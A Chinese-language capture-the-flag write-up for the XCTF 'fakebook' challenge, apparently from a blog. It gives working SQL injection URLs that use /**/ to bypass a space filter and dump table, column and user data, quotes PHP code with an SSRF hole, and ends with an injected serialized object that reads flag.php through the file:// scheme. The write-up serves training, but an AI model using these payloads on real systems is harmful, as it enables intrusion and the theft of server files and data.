XCTF:fakebook(file协议|SSRF|sql注入| group_concat() )

进入页面,首先注册一个用户,发现用户页面存在注入

 

 

测试发现过滤了空格|0X(16进制),使用/**/或者++替换空格进行注入

 

爆库名:

 

SQL UNION 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

 

 

爆表名:

http://220.249.52.133:49599/view.php?no=0/**/union/**/select/**/1,group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'

 

 

爆字段名

 

http://220.249.52.133:49599/view.php?no=0/**/union/**/select/**/1,group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'

 

 

 

获取data字段的值

http://220.249.52.133:49599/view.php?no=0/**/union/**/select/**/1,group_concat(data),2,3/**/from/**/users

发现data存的是一个序列化的对象,没有flag的信息

 

 

御剑扫描发现了robots.txt和flag.php文件

 

robots.txt存放了一个php备份文件,审计代码:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);//抓取URL并返回到浏览器中  (存在SSRF)
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);//过滤不能使用file协议去访问flag文件
    }

}

验证存在SSRF

 

 

结合前面报错的路径信息,利用反序化数据库中的data字段,即可以SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

 

http://220.249.52.133:49599/view.php?no=0/**/union/**/select/**/1,1,2,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 

posted @ 2020-10-22 15:20  LuoSpider  阅读(220)  评论(0编辑  收藏  举报